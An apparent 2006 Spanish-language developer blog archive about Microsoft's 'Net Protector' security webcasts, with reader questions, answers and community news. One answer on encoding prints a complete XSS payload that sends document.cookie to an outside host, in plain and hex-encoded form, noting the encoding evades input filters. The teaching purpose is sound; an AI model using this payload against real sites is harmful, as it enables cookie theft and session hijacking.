February 2006 - Posts

La serie de Net Protector se esta haciendo simultáneamente en portugués para MSDN Brasil. La persona que ha estado llevando a cabo las presentaciones es Mauro Sant’Anna, MVP Visual Developer – Security de Brasil.

Aquí tienen también un articulo de la revista computerworld en portugués hablando sobre esta iniciativa de parte de Microsoft.

 

with 2 comment(s)
Filed under: ,
Aun te encuentras en el mundo oscuro de Visual Basic 6.0, atrapad@ sin idea de como domar el mundo de programación orientada a objetos que viene con Visual Basic.Net y Visual Basic 2005????.... No desesperes, el equipo de Patterns & Practices de Microsoft nos da totalmente gratuito una guia (con todo y ejemplos) sobre como migrar desde VB6 a VB.Net y VB2005. Esta guia se llama "Upgrading Visual Basic 6.0 Applications to Visual Basic .NET and Visual Basic 2005" y esta disponible para descargarla aqui.
with no comments
Filed under:

Hoy es la 4ta misión de Net Protector y vamos a hablar sobre el SQL Injection. Anteriormente la mayoría de preguntas sobre las misiones de Net Protector me han llegado por email. Estoy abriendo este post para que puedan colocar sus preguntas sobre este tema aquí y la compartan con todos.

Para hacer una pregunta solo deben dejar un comentario en este post.

 

with 17 comment(s)
Filed under: ,

Luego del tercer webcast de Net Protector que hablaba principalmente sobre el XSS (Cross-Site Scripting) me llegaron unas cuantas preguntas que voy a tratar de responder en este post.

Cesar Verano de Colombia envia esto:

He seguido los 3 webcast que has dado hasta el momento de Net protector y me parecen excelentes; a pesar de que lo he echo outline; pero bueno sin mas preambulos; podrias regalarme algunos links de referencia o explicación un poco mas a fondo a los caracteres especiales que ingresas en la url (%3c, %3e, %20); existe alguna otra forma que no sea el % para pasar caracteres especiales; he investigado un poco y se que es la representación en Hexadecimal.

Por que no los puedo enviar como <?
Para que el % ?

El tema a que te refieres es la canonicalizacion, que básicamente se refiere a las diferentes formas que existen para representar un mismo carácter. Por ejemplo el carácter “<” se puede representar como “&lt;”. Un ejemplo mas practico seria el siguiente url:

Formato ASCII
http://host/a.php?variable="><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi? '%20+document.cookie</script> 

Formato HEX
http://host/a.php?variable=%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f
%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67
%69%73%65%63%75%72%69%74%79 %2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f
%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63% 75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e

Ambas quieren decir lo mismo. Pero si vieras el Formato Hex no te dieras cuanto de que todos esos símbolos lo que representan son códigos de JavaScript. También se utiliza esto para tratar de burlar filtros que crean los usuarios para limpiar caracteres inválidos de los strings, ya que los desarrolladores generalmente toman en cuenta las representaciones ASCII, pero no sus variantes.

Aquí tienes algunos links que hablan al respecto:
http://support.microsoft.com/?kbid=887459
http://www.sandsprite.com/Sleuth/papers/RealWorld_XSS_1.html

Dannyvillata@gmail.... envia esto:

Me llamó mucho la atención la forma en que se puede realizar ataques insertando código realmente es algo q no conocía, un año atrás aproximadamente estuve administrando un foro y ahora me doy cuenta que quizá no estaba protegido de forma adecuada, pero me queda la duda ya que en esa ocasión la tecnología que utilice era PHP para los foros con una base de datos MySQL ya que era la que mi proveedor de hosting me facilitaba de forma automatizada.

La duda q tengo, con respecto al CSS es q si esta inserción de codigo por medio de scripts me habría afectado a mi en esa ocasión con la tecnología MySQL, de la misma forma que hubiera afectado a SQL Server, o si sería una forma diferente de ataque que en vez de utilizar scripts dañinos utilizaran código en php malicioso de forma similar, ¿eso podría pasar?.

Por otro lado he observado que en muchos foros se pone como default para los usuarios que El código HTML esté desactivado, esta sería una forma de evitar este tipo de ataques?

Muchas gracias por las iniciativas que toman junto a microsoft por enseñar, he sido participe de la ALSI, PCE, actualmente estoy preparandome para MCAD y sigo de cerca Net Protector así q muchas gracias por todo.

Para responder tu primera pregunta si, esto te hubiera afectado de igual manera sin importar la tecnologia. Esto esta presente en ASP, JSP, PHP, etc. Y si, la razon de que muchos forums dejen desactivado el HTML es para protegerse de este tipo de ataques.

Gabriel de Chile envia esto:

Hector, soy Gabriel de Chile y estoy en los WebCast de Netprotectos... seria posible que me enviaras los codigos utilizados en el webcast 3 acerca del XSS.

Te voy a dar uno mas completo para que puedas jugar un poco mas con esto:
http://www.cgisecurity.com/articles/xss-faq.shtml

with 3 comment(s)
Filed under: ,

En channel 9 tienen una entrevista muy interesante con el Chairman y Chief Software Architect de Microsoft Bill Gates, mejor conocido como BillG.

Habla de cómo logra correr la compañía de software más grande del mundo y mantenerse sano al mismo tiempo. Nos revela su adicción a la serie 24 de Fox, mi favorita! Otros temas que trata son: Mix2006, Ajax, Office 12 y que hace en su tiempo libre en Internet.

 Pueden ver la entrevista en: http://channel9.msdn.com/showpost.aspx?postid=163166

with 1 comment(s)
Filed under:

Acaba de salir el episodio #6 de MSDN Radio en el cual tengo 2 segmentos. El primero es una entrevista con Jose Luis Manners sobre lo que es la iniciativa de Net Protector para Microsoft, hablamos también de lo que viene después de Net Protector, el Net Protector Academy. El segundo es un segmento extraído de algunos webcasts, donde respondo preguntas de parte de la comunidad donde acerca de temas de seguridad en general. Lo pueden escuchar en: http://www.microsoft.com/spanish/msdn/latam/mediacenter/radio/default.asp

with 4 comment(s)
Filed under: ,

Me llego un mensaje de parte de Diego, un joven programador chileno que esta todavia dando sus primeros pasos en el mudo oscuro de la programación. Lo estoy compartiendo con ustedes para que tambien puedan ayudarlo posteando (en los comentarios de este post) links u otro materiales que le pudieran ayudar a Diego.

De mi parte diego creo que te haria muy bien que tomes algunos tutoriales de OOP (Programación Orientada a Objetos), esta es la base de la mayoria de lenguajes de programaciones modernos. Comienza por ahi y pronto llegaras lejos. Aqui te dejo algunos links:

http://www.monografias.com/trabajos/objetos/objetos.shtml
http://www.monografias.com/trabajos14/progorie/progorie.shtml
http://www.desarrolloweb.com/articulos/499.php?manual=15
http://lenguajes-de-programacion.com/programacion-orientada-a-objetos.shtml
http://www.microsoft.com/spanish/msdn/comunidad/dce/1/entrenamiento/foxpro/1.asp

Mensaje de Diego:

Hola, Hector.

Verás... Soy Diego, tengo 13 años (ya voy para los 14), Chileno... Y soy diseñador gráfico, al menos así me considero yo... En ese ámbito, soy mas conocido por "Waly" que por Diego (Incluso tengo mi logo de diseño, y estoy trabajando en mi portfolio, jejeje).

Mi sueño, hace algún tiempo, era ser diseñador gráfico publicitario, trabajaba en algunas webs diseñando de todo, y me hice amigo de 2 programadores, uno tiene varios certificados ya, y el otro tiene solo 17 años y ya tiene el DCE y no se que más...

Descubrí en la programación algo mucho mas solicitado aquí, en Chile, que el diseño grafico digital, ya que de eso está apestado... Y me quedó gustando mas los caracteres y numeros que las imagenes... Empezé a ir a eventos de Microsoft, a intentar sacar al menos la 1ra estrella... Y casi lo logro, las preguntas que me enredaban eran, precisamente, los ejemplos de código.

Y ese, es mi problema... Creo saber muchas cosas, pero sólo en su teoría, un ejemplo de código, no simple, me complica... Lo mismo me pasó en tu WebCast (aunque no estoy diciendo que estuvo mal, me encanta la manera en la que enseñas, y en como tratas a los usuarios cuando te hacen preguntas cosas... Porque si no fuera así, no te estaría enviando este mail). Y bueno... Yo se que la solución a eso es la práctica, y empezar con otros lenguajes de programación.

Entonces... te diré lo que se relacionado con programación.

PHP, aunque me falta profundizar mucho aún...
VB, todo en teoría...
Algoritmos de cifrado, Codes and Cyphers, Codemakers, Codebreakers, BruteForce (Todo gracias a un libro de Dan Brown; "Fortaleza Digital")
Conceptos de Programación y Desarrollo en general...

Eso nada más... Entonces lo que quiero es que me guíes, por que me creo capaz de aprender algoritmos y logaritmos, para algo tengo hermanos matemáticos jajaja.

Yo creo que lo primero es profundizar el PHP para manejarme en la database, y luego empezar con otros lenguajes, lo malo, es que no tengo ni la primera estrella en el DCE, así que ese evento que Microsoft hizo, donde a cada uno que tuviera la 2da estrella se les regalarÍa un cd de Visual Studio .NET, lamentablemente yo no pude tener ese beneficio.

Así que necesito tu ayuda, y tu tiempo... Me podrías decir qué tengo que hacer, y si te alcanza el tiempo (porque me imagino que hasta este punto ya te debo haber quitado algunos minutos) darme algunos links de utilidad? Desde ya te lo agradesco demasiado...

Ah, y tambien muchas gracias por los PodCasts y los WebCasts, muy bien explicados...

Atentamente
Diego.

with 3 comment(s)
Filed under: ,

Saludos, me llego una relfexión muy interesanto de parte de Mauricio Gomez de Chile, el es Orador de MSDN Chile, y quiero compartirla con ustedes:

Estimado Héctor, para comenzar recibe mis felicitaciones por tu aporte a la comunidad de desarrolladores. Por poco tiempo y mucho trabajo (tú sabes que son inversamente proporcionales) no he podido presenciar tus webcast en directo, solo he podido hacerlo algunos días después. Pero bueno, vayamos al tema de este mail.

En realidad no sé si calificarla de pregunta o reflexión. Pero tomando en base la premisa de hacer lo posible por no revelar información a un posible atacante, en desarrollo web para Internet no topamos con el tema de los archivos robots.txt. Que si no los pones, los bot spiders pues indexan hasta los directorios a veces más recónditos de tu aplicación, mostrando a veces más información de la que quisiéramos mostrar. Por otro lado si lo ponemos, pues basta poner http://www.midominio.com/robot.txt y podremos acceder a ver al menos información sobre ubicación de directorios en nuestra aplicación.

Bueno, en el fondo terminó más en una reflexión que pregunta, pero un punto a tener en cuenta para aquellos que creen que solo escondiendo un directorio en una app web tienen solucionado el problema, como dice el dicho “puede correr pero no esconderte”, sobre todo en aquellas soluciones hospedadas en algún sistema de hosting externo, en el cual no tenemos control demasiado alto sobre el servidor.

Mauricio Gómez
Delegado Ineta Latam (Chile)
Orador MSDN Chile
Community Launch VS2005 & SQL Server 2005 Speaker
Instructor Programa DCE 2003
Curso: “Desarrollo de Aplicaciones Web”

Mauricio gracias por tus comentarios

with no comments
Filed under: ,

Con relación a la segunda Misión de Net Protector lo siguiente me llego de parte de: fjavi@mi.madritel, desde España.

Hola Hector soy programador MCAD de microsoft, y soy un enamorado de la programacion en .Net. Desde hace un año estoy muy interesado en la seguridad, y me gustaria saber si podrias darme o decirme donde buscar un tutorial paso a paso de implementacion de seguridad en un sitio web, ya que tengo de todo pero muy disperos (encriptacion por aqui, certificados por alli, etc). Saludos

Un buen lugar para aprender sobre seguridad es la serie de Net Protector de MSDN, en esta serie estamos tratando todo lo relacionado con seguridad en el desarrollo de software.

Un buen libro que te puedo recomendar es Building Secure Microsoft ASP.Net Applications.

with no comments
Filed under: ,

Con relación a la segunda Misión de Net Protector lo siguiente me llego de parte de jucerc@hotmail.....:

Mi pregunta es si en versiones anteriores de Visual Basic también era posible descodificarlas? y si en .net hay forma de proteger nuestro código? pues una de mis malestares del .Net es que pueden llegar a ver nuestro código y nuestra propiedad intelectual queda al descubierto para cualquiera que posea el Reflector o cualquier otra herramienta.

El Reflector del que estas hablando es una herramienta bien buna de parte de Luz Roeder, la pueden encontrar en: http://www.aisto.com/roeder/dotnet/. La version de Luz Roeder tiene un descompilador que es la parte que muestra el codigo, actualmente esa version soportalos lenguajes del framework de .net solamente.

Existen otras herramientas que tratan de descompilar codigos escritos en otros lenguajes, haciendo una busqueda breve en msnsearch y/o google lo puedes encontrar.

 

with 3 comment(s)
Filed under: ,

Lo siguiente me llego de parte de Roberto Castillo Monzon:

Buenas Tardes Sr. Hector

Estuve presente en el WebCast el día de hoy, el cual estuvo muy interesante porque me aclaro algunos puntos acerca de la seguridad de aplicaciones .NET. Durante el desarrollo de las preguntas de los asistentes realice una pregunta acerca de seguridad.

La pregunta es ¿Cual es la manera mas segura de compartir variables de sesión entre aplicaciones ASP.NET?
Actualmente realizo pruebas con dos módulos ASP.NET independientes, pero tengo la necesidad de compartir variables de sesión. He encontrado algunos métodos como el de grabar en tablas en BD pero no me parecen adecuadas. Me imagino que debe existir una manera más segura de realizar esto. ¿utilizar Ajax podría solucionar este tipo de problema?

Agradezco de antemano su respuesta.

Atte.

Roberto Castillo

En mi opinión la mejor forma de compartir la sesión entre distintas aplicaciones de asp.Net es a través de una BD.

Aquí tienes un articulo de cómo se haría para compartir sesión entre ASP y ASP.Net con SQL Server. http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dnaspp/html/ConvertToASPNET.asp

with 1 comment(s)
Filed under:

Aqui tienen un video bien chulo de promoción para el IE7. Se los recomiendo.

Download IE 7 Teaser Video

with 1 comment(s)
Filed under:
Resultaron ser muchas las preguntas sobre la segunda misión, estoy haciendo un post para cada una.

La descarga de los WebCasts ya esta disponible en el website de MSDN.!!!
with 6 comment(s)
Filed under: ,

Esto fue hace un par de semanas ya, pero no deja de ser interesante. El equipo de Visual Basic puso a disposicion del publico en general un nuevo CTP de LINQ.

Tiene cuatro mejoras sustanciales:

  • LINQ Intellisense
  • Soporte para DLinq
  • Soporte para editar literales de XML
  • XML Late binding

Si quieren conocer mas acerca de este proyecto y bajar el ultimo CTP vayan a: http://msdn.microsoft.com/netframework/future/linq/default.aspx
with no comments
Filed under:

Luego del primer WebCast de Net Protector me llegaron una serie de preguntas que prometí responder por esta vía.

Carlos Alberto Cabrera Bernal
¿Cómo funciona en sí un Buffer Overrun?
Los Buffer Overflows representan una vulnerabilidad común en todas las plataformas, pero son muchos más comunes y fáciles de explotar en los sistemas operativos de Linux/Unix.

Básicamente lo que se hace en un Buffer Overflow es meter mas data dentro del buffer de un programa de la que esta permitida. De esta forma se trata de sobre escribir memoria (overflow) y cambiar la lógica de ejecución del programa.

¿Cómo puedo hacer que el IIS trabaje con certificados?
Un certificado digital permitirá que la comunicación entre tu servidor web y las personas que se conecten a el se cifre.
Este certificado es expedido por una compañía autorizada, por ejemplo Verisign. Para hacer esto desde el IIS es bastante fácil, solo debes seguir un wizard que te va a generar el archivo necesario para hacer la solicitud. Puedes ver los pasos en:

http://support.microsoft.com/kb/228821/EN-US/

Cristian Faúndez
Mi consulta tiene relación con las herramientas con que contamos los desarrolladores para testear nuestro código.
¿Que y cuáles herramientas tenemos para VB6, .NET, SQL Server y sitios en ambiente web?

En el Visual Studio Team System edition tiene a su disposición toda una suite de herramientas para lo que es el testing de aplicaciones de todo tipo.

Puedes encontrar toda la información en el site de Microsoft en: http://msdn.microsoft.com/vstudio/teamsystem/tester/default.aspx

Ariel Cacho Mendoza
Donde puedo encontrar informacion para configurar algun certificado de seguridad web?

La puedes encontrar aqui: http://support.microsoft.com/kb/228821/EN-US/

Podrias darme un ejemplo de Buffer Overrun?

Te recomienda que veas este tutorial (esta en ingles) donde te va a dar varios ejemplos: http://www.infosecwriters.com/texts.php?op=display&id=134

Gracias a todos por sus inquietudes, cualquier duda me dejan saber.

with 7 comment(s)
Filed under: ,
Para aquellos que creen que Microsoft solo mercadea herramientas para escribir managed code y no las consume internamente, aquí tienen unas cuantas estadísticas sobre productos que han desarrollado utilizando managed code:

* Visual Studio 2005: 7.5 millones de lineas de codigo
* SQL Server 2005: 3 millones de lineas de codigo
* BizTalk Server: 2 millones de lineas de codigo
* Visual Studio Team System: 1.7 millones de lineas de codigo
* Windows Presentation Foundation: 900K lineas de codigo
* Windows Sharepoint Services: 750K lineas de codigo
* Expression Interactive Designer: 250K lineas de codigo
* Sharepoint Portal Server: 200K lineas de codigo
* Content Management Server: 100K lineas de codigo
with 2 comment(s)
Filed under:

Acaba de salir el episodio 5 de MSDN Radio y suena muy interesante. Tiene 3 segmentos:

 

Segmento 1: Jorge Oblitas y su equipo de DPE en Perú: Una entrevista entre Julio Campos, MVP de Perú y Jorge Oblitas, Developer Evangelist de Perú, y su equipo de trabajo, Martín Vergara y Débora Briseño, donde hablan acerca del su trabajo en la comunidad, el tema de Competidores Pasivos y otros temas interesantes.

Segmento 2: Una entrevista entre José Luis Manners, MCP de Dominicana, y José Berrios, MVP y Director Ejecutivo de INETA Latinoamérica, donde hablan sobre qué es INETA y la importante misión que esta organización desempeña para los grupos de usuarios de América Latina.

Segmento 3: ¿Por qué te convertiste en Desarrollador? Un segmento donde los participantes explican porqué se convirtieron en desarrolladores y cómo ha cambiado su vida a partir de esa decisión. Esta vez, tenemos a José Berrios, MVP y Director Ejecutivo de INETA, a Héctor Minaya, MVP y CTO de MR2 Solutions y a Ronny Carreras, Gerente de Desarrollo de MR2 Solutions.

 

Puedes escucharlo en: http://www.microsoft.com/spanish/msdn/latam/mediacenter/radio/default.asp

with 1 comment(s)
Filed under: ,

Recientemente Bill Gates dijo que su información de impuestos en los estados unidos se almacena en una computadora especial dentro del IRS (entidad gubernamental que maneja los impuestos). Esto se debe a que las computadoras normales del IRS no pueden manejar esa cantidad de números.

La fortuna personal del Sr. Gates esta estimada en US$47 billones de dolares!!!!.

Wowww,,,,,,

Articulo original esta en: http://www.news.com.au/story/0,10117,18005181-13762,00.html

with 1 comment(s)
Filed under:

Ya fue lanzada oficialmente la campaña de Net Protector por MSDN Latam. Para ingresar al site de Net Protector solo debes acceder a: http://www.microsoft.com/spanish/msdn/latam/netpro/

Anímate y completa las misiones que estarán apareciendo en las próximas semanas. El primer webcast será hoy a las 3pm (hora Santo Domingo) y tratara sobre la Seguridad de la Información en General.

with no comments
Filed under: ,